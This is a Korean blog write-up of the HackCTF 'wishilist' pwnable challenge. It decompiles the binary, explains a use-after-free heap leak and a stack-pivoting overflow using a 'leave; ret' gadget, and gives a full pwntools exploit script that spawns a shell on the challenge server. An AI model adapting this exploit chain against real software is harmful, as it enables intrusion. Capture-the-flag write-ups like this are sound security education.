tmxklab

[HackCTF/Pwnable] wishilist 본문

War Game/HackCTF

[HackCTF/Pwnable] wishilist

tmxk4221 2020. 8. 15. 20:09

1. 문제

nc ctf.j0n9hyun.xyz 3035

 

1) mitigation 확인

  • stripped된 파일

 

2) 문제 확인

  • 총 3개의 메뉴가 보인다.

 

3) 코드 흐름 확인

3-1) main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_400846(a1, a2, a3);
  while ( 1 )
  {
    menu();
    v3 = (char)input();
    switch ( v3 )
    {
      case '2':
        view();
        break;
      case '3':
        remove();
        break;
      case '1':
        make();
        break;
    }
  }
}

 

3-2) input()

__int64 input()
{
  unsigned __int8 buf; // [rsp+0h] [rbp-10h]

  printf("input: ");
  read(0, &buf, 0x20uLL);
  return buf;
}
  • 어떤 메뉴를 선택할지 입력을 받는 함수
  • read를 통해 buf[rbp-0x10]변수에 0x20bytes만큼 입력을 받을 수 있음 → bof취약점

 

3-3) make()

__int64 make()
{
  int v0; // ebx

  v0 = cnt;
  ptr[v0] = (char *)malloc(0x18uLL);
  printf("wishlist: ");
  read(0, ptr[cnt], 0x18uLL);
  return (unsigned int)++cnt;
}
  • ptr[cnt]에 0x18만큼 malloc하고 0x18만큼 입력을 받는다. cnt 증가
  • 청크를 생성할 수 있는 갯수는 제한이 없다.

 

3-4) view()

int view()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  return puts(ptr[v1]);
}
  • ptr(index)내용을 출력한다. → leak할 때 사용될 듯

 

3-5) remove()

__int64 remove()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 9 )
    exit(1);
  free(ptr[v1]);
  result = v1;
  ptr[v1] = 0LL;
  return result;
}
  • 원하는 ptr 인덱스에 free시키고 널 값을 넣는다.

 

전역 변수)

  • cnt : 0x6010c0
  • ptr : 0x6010e0

 


2. 접근방법

 

이번에는 system함수가 주어져 있으므로 libc base주소를 알아낼 필요가 없다.

 

아까 input함수에서 bof가 발생하는 것을 알 수 있는데

buf[rbp-0x10]변수에 0x20만큼 입력을 받을 수 있으므로 더미(0x10bytes)와 SFP(0x8bytes), RET(0x8bytes)까지 밖에 덮질 못한다. 간단한 RTL을 수행하기에도 입력받을 수 있는 사이즈가 너무 적다...

 

따라서, stack pivoting이라는 기술을 이용하여 문제를 풀도록 하겠다.

(stack pivoting : 가젯을 이용하여 스택의 흐름을 변경하는 기술)

 

위에서 말한 대로 현재 우리가 RET까지 조작할 수 있다.

하지만 "leave ; ret" Gadget을 이용하면 기존의 input함수의 stack 흐름을 변경할 수 있다.

 

 

1) leave ; ret

leave ; ret는 함수의 스택을 정리해주는 인스트럭션이다. (함수의 에필로그)

input함수의 SFP에는 이전 함수의 RBP값이 들어있다. 따라서, input함수의 leave를 실행하게 되면 RSP는 SFP를 가리키고 있어 pop rbp를 하게 되면서 SFP에 저장된 값이 RBP에 저장된다. 이후에 ret를 수행하여 이전 함수로 돌아갈 경우 스택 프레임을 유지할 수 있게 된다.

 

만약에 input함수의 sfp를 우리가 만든 스택(가짜 스택)의 주소 값을 넣고 ret에 "leave ; ret" 가젯을 넣게 되면 스택의 흐름이 변경될 것이다.

 

스택의 흐름이 변경되면서 input함수에서 사용하는 스택이 아니라 우리가 만든 스택으로 변경되고 만약 우리가 만든 스택에 ret에 해당하는 부분부터 미리 값이 작성되어 있다면 ret를 수행하게 되면서 우리가 원하는 흐름으로 실행될 것이다.

 

그럼 이제 우리에게 필요한 것은 binsh문자열과 가짜 스택을 만들 수 있는 공간이 필요하다. uaf를 이용하면 heap base주소를 leak할 수 있으므로 heap영역에 bisnh문자열과 가짜 스택을 만들어주자

 

 

2) 공격 프로세스

  • 3개의 청크 malloc
  • 2개의 청크 free
  • 2개의 청크 malloc
  • view()를 통해 heap base 주소 leak
  • 1개의 청크에 binsh문자열저장
  • 100개의 청크 생성 → system함수가 스택을 많이 잡아먹기 때문
  • 1개의 청크를 생성하고 pop_rdi, binsh문자열 주소, system@plt저장
  • input함수에서 bof
    • payload = [ dummy(0x10) ] + [ pop_rdi, .. 저장된 주소 ] + [ leave ret gadget ]

 

3) 공격 과정 디버깅

3-1) heap base 주소 leak(uaf)

  • 3개의 청크를 생성하고 2개의 청크를 free시킨 상황이다.
  • 항상 동일한 청크를 할당받고 청크의 사이즈가 fastbin에 들어가므로 2개의 청크가 fastbin[0]에 위치하게 된다.
  • 또한 0x1428020으로 시작하는 청크의 fd에는 0x1428000을 주소가 담겨있다.

  • 다시 2개의 청크를 할당받게 되면 이전에 fastbin[0]에 들어있는 청크 2개를 재할당하는데 사용된다.
  • 따라서, 0x1428020으로 시작하는 청크의 데이터에는 그대로 fd값이 남게 된다. (참고로 0x1428044로 변하는 이유는 "D"데이터를 넣었기 때문)
  • 이를 이용하여 view함수를 호출하여 3번 인덱스를 선택하면 fd값을 leak할 수 있으며 heap base주소를 구할 수 있음

  • View()를 통해 3번 인덱스를 선택하면 0x01428044주소 값이 leak된다.

 

3-2) binsh문자열 저장

  • 한 개의 청크를 생성하고 "/bin/sh"문자열을 저장한다.

 

3-3) 가짜 스택에 필요한 데이터 저장

  • system함수는 스택을 많이 잡아먹으므로 청크를 100개정도 늘려준다.

  • 이후에 한개의 청크르 생성하여 "pop rdi ; ret"가젯과 아까 "/bin/sh"문자열을 저장한 청크의 주소, system@plt 주소를 저장한다.
  • 아까 Heap base주소를 구했으니 청크를 생성한 개수를 통해 청크의 주소를 알아낼 수 있음

 

3-4) input함수에서 bof과정

  • input함수에서 bof를 수행한다.
  • SFP에는 방금 생성한 청크의 데이터가 저장된 주소에 0x8만큼 뺀 값을 넣는다.
    • 다음 스택에서 필요하므로 (이후에 다시 설명할 거임)
  • ret에는 leave ; ret가젯을 넣는다.

  • leave를 수행하게 되면 rbp의 값은 0x21d1d08로 바뀌게 된다.

  • ret를 수행하게되면 leave ; ret 가젯으로 이동된다.
  • 여기서 보면 현재 rbp의 값은 0x21d1d08이며 0x21을 가리키게 되고 leave를 수행하게 되면 rsp는 0x21d1d10이 된다.
  • 만일, 아까 위에서 0x8만큼 빼지 않았고 0x21d1d10을 넣게 되면 leave를 수행하게 되면서 0x21d1d10에 저장된 pop rdi가젯은 사라지게 된다.

  • leave를 수행하게 되면서 rsp는 pop rdi가젯을 가리키게 된다.

  • 인자를 "/bin/sh"문자열을 받으면서 system@plt가 실행된다.

  • system함수가 실행되면서 쉘을 따낼 수 있다.

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./wishlist")
p = remote("ctf.j0n9hyun.xyz", 3035)
e = ELF("./wishlist")
#gdb.attach(p)

system_plt = e.plt['system']
pop_rdi = 0x400b03
leave_ret = 0x4008d8

def make(data):
	p.sendafter("input: ", str(1))
	p.sendafter("wishlist: ", data)

def view(idx):
	p.sendafter("input: ", str(2))
	p.sendlineafter("index: ", str(idx))

def remove(idx):
	p.sendafter("input: ", str(3))
	p.sendlineafter("index: ", str(idx))

# 1. uaf
make("A")
make("B")
make("C")

remove(0)
remove(1)

make("D")
make("E")

# 2. leak heap base
view(3)

heapbase = u64(p.recv(4).ljust(8, "\x00")) - 0x44

log.info("heapbase : "+hex(heapbase))

# 3. Insert "/bin/sh"
make("/bin/sh\x00")

binsh_addr = heapbase + 0x70
log.info("binsh_addr : "+hex(binsh_addr))

# 4. dummy
for i in range(100):
	log.info(str(i))
	make("dummy")

# 5. Insert rtl
payload = p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_plt)

make(payload)

rtl_addr = heapbase + 0x20*100 +0x20*4 +0x10
log.info("rtl addr : "+hex(rtl_addr))

# 6. stack pivoting
payload = "A"*0x10
payload += p64(rtl_addr-0x8)
payload += p64(leave_ret)
p.sendafter("input: ", payload)

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

1) stack pivoting

 

 

 

 

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Unexploitable #4  (0) 2020.08.15
[HackCTF/Pwnable] ChildFSB  (2) 2020.08.15
[HackCTF/Pwnable] Unexploitable #3  (0) 2020.08.15
[HackCTF/Pwnable] ChildHeap  (0) 2020.08.15
[HackCTF/Pwnable] babyfsb  (0) 2020.08.15
Comments